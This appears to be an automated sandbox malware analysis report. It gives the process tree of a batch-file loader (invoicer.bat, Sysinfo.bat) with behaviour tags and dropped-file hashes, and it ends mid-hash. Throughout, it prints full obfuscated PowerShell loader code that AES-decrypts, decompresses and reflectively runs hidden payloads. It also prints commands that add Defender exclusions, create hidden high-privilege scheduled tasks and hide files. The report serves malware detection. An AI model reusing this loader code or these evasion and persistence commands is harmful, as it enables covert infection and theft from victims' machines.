'')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));8⤵
- Command and Scripting Interpreter: PowerShell
PID:2548
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\invoicer.bat'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2472
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\invoicer.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:3300 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('X7Zhl6Khi2ZbZn4/PrAf+8sGbyoXniPMQQRnCuRZwU4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FTiKRMGfSm1nLSyYBeX8aQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWgzw=New-Object System.IO.MemoryStream(,$param_var); $qruKH=New-Object System.IO.MemoryStream; $RPpcy=New-Object System.IO.Compression.GZipStream($VWgzw, [IO.Compression.CompressionMode]::Decompress); $RPpcy.CopyTo($qruKH); $RPpcy.Dispose(); $VWgzw.Dispose(); $qruKH.Dispose(); $qruKH.ToArray();}function execute_function($param_var,$param2_var){ $kflaA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sDziU=$kflaA.EntryPoint; $sDziU.Invoke($null, $param2_var);}$gEOgE = 'C:\Users\Admin\AppData\Local\Temp\invoicer.bat';$host.UI.RawUI.WindowTitle = $gEOgE;$nkdNJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($gEOgE).Split([Environment]::NewLine);foreach ($inqUq in $nkdNJ) { if ($inqUq.StartsWith(':: ')) { $KTGgd=$inqUq.Substring(3); break; }}$payloads_var=[string[]]$KTGgd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));4⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3308 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_906_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_906.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1048
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_906.vbs"5⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:432 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_906.bat" "6⤵PID:4056
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵PID:2204
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('X7Zhl6Khi2ZbZn4/PrAf+8sGbyoXniPMQQRnCuRZwU4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FTiKRMGfSm1nLSyYBeX8aQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWgzw=New-Object System.IO.MemoryStream(,$param_var); $qruKH=New-Object System.IO.MemoryStream; $RPpcy=New-Object System.IO.Compression.GZipStream($VWgzw, [IO.Compression.CompressionMode]::Decompress); $RPpcy.CopyTo($qruKH); $RPpcy.Dispose(); $VWgzw.Dispose(); $qruKH.Dispose(); $qruKH.ToArray();}function execute_function($param_var,$param2_var){ $kflaA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sDziU=$kflaA.EntryPoint; $sDziU.Invoke($null, $param2_var);}$gEOgE = 'C:\Users\Admin\AppData\Roaming\startup_str_906.bat';$host.UI.RawUI.WindowTitle = $gEOgE;$nkdNJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($gEOgE).Split([Environment]::NewLine);foreach ($inqUq in $nkdNJ) { if ($inqUq.StartsWith(':: ')) { $KTGgd=$inqUq.Substring(3); break; }}$payloads_var=[string[]]$KTGgd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));7⤵
- Command and Scripting Interpreter: PowerShell
PID:4252
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Sysinfo.bat'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:212
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Sysinfo.bat" "3⤵PID:5076
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8PMom9RnlfWzjG8MC5lXaac8aBGu+w5gW8NmRz9Kk+g='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Q3K43OSBcYlntcFGSbtNow=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YujPS=New-Object System.IO.MemoryStream(,$param_var); $WQOly=New-Object System.IO.MemoryStream; $xgIaW=New-Object System.IO.Compression.GZipStream($YujPS, [IO.Compression.CompressionMode]::Decompress); $xgIaW.CopyTo($WQOly); $xgIaW.Dispose(); $YujPS.Dispose(); $WQOly.Dispose(); $WQOly.ToArray();}function execute_function($param_var,$param2_var){ $zVSXB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $RyFSy=$zVSXB.EntryPoint; $RyFSy.Invoke($null, $param2_var);}$tIIDK = 'C:\Users\Admin\AppData\Local\Temp\Sysinfo.bat';$host.UI.RawUI.WindowTitle = $tIIDK;$KlFzN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($tIIDK).Split([Environment]::NewLine);foreach ($XYyBu in $KlFzN) { if ($XYyBu.StartsWith(':: ')) { $JQyvV=$XYyBu.Substring(3); break; }}$payloads_var=[string[]]$JQyvV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));4⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:3136 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_844_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_844.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force5⤵
- Command and Scripting Interpreter: PowerShell
PID:2968
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_844.vbs"5⤵
- Checks computer location settings
PID:5088 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_844.bat" "6⤵PID:2572
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵PID:4768
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8PMom9RnlfWzjG8MC5lXaac8aBGu+w5gW8NmRz9Kk+g='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Q3K43OSBcYlntcFGSbtNow=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YujPS=New-Object System.IO.MemoryStream(,$param_var); $WQOly=New-Object System.IO.MemoryStream; $xgIaW=New-Object System.IO.Compression.GZipStream($YujPS, [IO.Compression.CompressionMode]::Decompress); $xgIaW.CopyTo($WQOly); $xgIaW.Dispose(); $YujPS.Dispose(); $WQOly.Dispose(); $WQOly.ToArray();}function execute_function($param_var,$param2_var){ $zVSXB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $RyFSy=$zVSXB.EntryPoint; $RyFSy.Invoke($null, $param2_var);}$tIIDK = 'C:\Users\Admin\AppData\Roaming\startup_str_844.bat';$host.UI.RawUI.WindowTitle = $tIIDK;$KlFzN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($tIIDK).Split([Environment]::NewLine);foreach ($XYyBu in $KlFzN) { if ($XYyBu.StartsWith(':: ')) { $JQyvV=$XYyBu.Substring(3); break; }}$payloads_var=[string[]]$JQyvV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));7⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
PID:5088
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\invoicer.bat'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3440
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\invoicer.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:1572 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('X7Zhl6Khi2ZbZn4/PrAf+8sGbyoXniPMQQRnCuRZwU4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FTiKRMGfSm1nLSyYBeX8aQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWgzw=New-Object System.IO.MemoryStream(,$param_var); $qruKH=New-Object System.IO.MemoryStream; $RPpcy=New-Object System.IO.Compression.GZipStream($VWgzw, [IO.Compression.CompressionMode]::Decompress); $RPpcy.CopyTo($qruKH); $RPpcy.Dispose(); $VWgzw.Dispose(); $qruKH.Dispose(); $qruKH.ToArray();}function execute_function($param_var,$param2_var){ $kflaA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sDziU=$kflaA.EntryPoint; $sDziU.Invoke($null, $param2_var);}$gEOgE = 'C:\Users\Admin\AppData\Local\Temp\invoicer.bat';$host.UI.RawUI.WindowTitle = $gEOgE;$nkdNJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($gEOgE).Split([Environment]::NewLine);foreach ($inqUq in $nkdNJ) { if ($inqUq.StartsWith(':: ')) { $KTGgd=$inqUq.Substring(3); break; }}$payloads_var=[string[]]$KTGgd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4280 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_560_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_560.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3804
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_560.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4768 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_560.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:5096 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('X7Zhl6Khi2ZbZn4/PrAf+8sGbyoXniPMQQRnCuRZwU4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FTiKRMGfSm1nLSyYBeX8aQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWgzw=New-Object System.IO.MemoryStream(,$param_var); $qruKH=New-Object System.IO.MemoryStream; $RPpcy=New-Object System.IO.Compression.GZipStream($VWgzw, [IO.Compression.CompressionMode]::Decompress); $RPpcy.CopyTo($qruKH); $RPpcy.Dispose(); $VWgzw.Dispose(); $qruKH.Dispose(); $qruKH.ToArray();}function execute_function($param_var,$param2_var){ $kflaA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sDziU=$kflaA.EntryPoint; $sDziU.Invoke($null, $param2_var);}$gEOgE = 'C:\Users\Admin\AppData\Roaming\startup_str_560.bat';$host.UI.RawUI.WindowTitle = $gEOgE;$nkdNJ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($gEOgE).Split([Environment]::NewLine);foreach ($inqUq in $nkdNJ) { if ($inqUq.StartsWith(':: ')) { $KTGgd=$inqUq.Substring(3); break; }}$payloads_var=[string[]]$KTGgd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:4716
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Sysinfo.bat'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4068
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Sysinfo.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:3288 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8PMom9RnlfWzjG8MC5lXaac8aBGu+w5gW8NmRz9Kk+g='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Q3K43OSBcYlntcFGSbtNow=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YujPS=New-Object System.IO.MemoryStream(,$param_var); $WQOly=New-Object System.IO.MemoryStream; $xgIaW=New-Object System.IO.Compression.GZipStream($YujPS, [IO.Compression.CompressionMode]::Decompress); $xgIaW.CopyTo($WQOly); $xgIaW.Dispose(); $YujPS.Dispose(); $WQOly.Dispose(); $WQOly.ToArray();}function execute_function($param_var,$param2_var){ $zVSXB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $RyFSy=$zVSXB.EntryPoint; $RyFSy.Invoke($null, $param2_var);}$tIIDK = 'C:\Users\Admin\AppData\Local\Temp\Sysinfo.bat';$host.UI.RawUI.WindowTitle = $tIIDK;$KlFzN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($tIIDK).Split([Environment]::NewLine);foreach ($XYyBu in $KlFzN) { if ($XYyBu.StartsWith(':: ')) { $JQyvV=$XYyBu.Substring(3); break; }}$payloads_var=[string[]]$JQyvV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4500 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_80_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_80.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2180
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_80.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3336 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_80.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:3440 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8PMom9RnlfWzjG8MC5lXaac8aBGu+w5gW8NmRz9Kk+g='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Q3K43OSBcYlntcFGSbtNow=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YujPS=New-Object System.IO.MemoryStream(,$param_var); $WQOly=New-Object System.IO.MemoryStream; $xgIaW=New-Object System.IO.Compression.GZipStream($YujPS, [IO.Compression.CompressionMode]::Decompress); $xgIaW.CopyTo($WQOly); $xgIaW.Dispose(); $YujPS.Dispose(); $WQOly.Dispose(); $WQOly.ToArray();}function execute_function($param_var,$param2_var){ $zVSXB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $RyFSy=$zVSXB.EntryPoint; $RyFSy.Invoke($null, $param2_var);}$tIIDK = 'C:\Users\Admin\AppData\Roaming\startup_str_80.bat';$host.UI.RawUI.WindowTitle = $tIIDK;$KlFzN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($tIIDK).Split([Environment]::NewLine);foreach ($XYyBu in $KlFzN) { if ($XYyBu.StartsWith(':: ')) { $JQyvV=$XYyBu.Substring(3); break; }}$payloads_var=[string[]]$JQyvV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));6⤵
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
PID:740 -
C:\Windows\System32\attrib.exe"C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\system"7⤵
- Sets file to hidden
- Views/modifies file attributes
PID:4640
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C:\Windows\System32\attrib.exe"C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\system\system.exe"7⤵
- Sets file to hidden
- Views/modifies file attributes
PID:3804
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp1B92.tmp.bat""7⤵PID:2840
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C:\Windows\system32\timeout.exetimeout 38⤵
- Delays execution with timeout.exe
PID:4472
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C:\Users\Admin\system\system.exe"C:\Users\Admin\system\system.exe"8⤵
- Executes dropped EXE
- Modifies system certificate store
PID:1768
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
654B
MD52ff39f6c7249774be85fd60a8f9a245e
SHA1684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA256e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
SHA5121d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1
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Filesize
1KB
MD5d51ac06ac8bc4a1947d3ebe65111139b
SHA1ebd9dc63b944128b34e83f2e8c494bbd10d29680
SHA2568d133eaf2d3868eb5686c6e79c5efd852e47d0f4723a16b168618d1507319e12
SHA512d5a28fe4dd84002040cea8940925c7b7643ab63db9d97bc1f2ed144cd1588431cf55f0e9c442e2c6c624e327a08bf85ca471a80b7d74bbedd8728fb759356bc9
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Filesize
1KB
MD53d641cd28f787cc00f15efd95a9e1872
SHA15df0b7162ba76966623c548d624991165daef6a1
SHA2562decca7711c1f27b712f17bbb3fd8de431cb11cff6090eef8f4839b9072648d7
SHA512ec945ba29ce19e515b7ad5f81f4a427f3b665bdecb878ed2840c738c76c4a54284dc90e11751524cee601609619b025bcd8d7c1e38f8670bfa9d0d4ba7d2247b
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Filesize
1KB
MD5708415d8e0e27642991d12a9fe342a13
SHA13ebdd703556dd68d7fae7ef002974f516c01fa45
SHA256dfb46a300c0ad49f1e08b367d554c2506df80bbf9ab826f3949fbfaaffe624f7
SHA5124059646ee2de53460f39d069ea4eb2afbbc848c463efc600d71cec06d46491ec19d7bd67136544de507d82cf093a91c2678bc7ecf83fe5b93d71ba0f8fd7b385
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Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
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Filesize
944B
MD598baf5117c4fcec1692067d200c58ab3
SHA15b33a57b72141e7508b615e17fb621612cb8e390
SHA25630bf8496e9a08f4fdfe4767abcd565f92b6da06ca1c7823a70cb7cab16262e51
SHA512344a70bfc037d54176f12db91f05bf4295bb587a5062fd1febe6f52853571170bd8ef6042cb87b893185bbae1937cf77b679d7970f8cc1c2666b0b7c1b32987d
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Filesize
944B
MD55cfe303e798d1cc6c1dab341e7265c15
SHA1cd2834e05191a24e28a100f3f8114d5a7708dc7c
SHA256c4d16552769ca1762f6867bce85589c645ac3dc490b650083d74f853f898cfab
SHA512ef151bbe0033a2caf2d40aff74855a3f42c8171e05a11c8ce93c7039d9430482c43fe93d9164ee94839aff253cad774dbf619dde9a8af38773ca66d59ac3400e
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Filesize
1KB
MD53b82eaa3044439c192e75b9d5f6e349d
SHA1e7cc8d859428ee4b0e07bbc80066da9d0584d73e
SHA256fd4ab712ee5f21cf746c2e1f337d444d01e46706357f216ddcdf01e71993a53d
SHA512c61ab9fad369ca40d267e9b4a7119120d37d711dbbe57011261b1a6156567b9b6ff46f148034dd8bba995fa65335d19c0c0458b9be95ff82a3e0ddc4a85ea275
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Filesize
944B
MD5b3c3db201c6e1fc54f0e17762fe03246
SHA1249bfcef33cdd2d6c13a7cc7c9c1d73905fb51d6
SHA2566771a83a83da5d6ce23e9cfa5567eb70084dffd51a7c07130ba3379cff78a59f
SHA5122945c6f4e05b86e161b9753fca74cc9daf76e8ef535cdff0e9d83cca706eabd6e1ca3aba55005b2d16c2023f6604ee6886837336a63f421fa25f73120cfc00a1
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Filesize
944B
MD522310ad6749d8cc38284aa616efcd100
SHA1440ef4a0a53bfa7c83fe84326a1dff4326dcb515
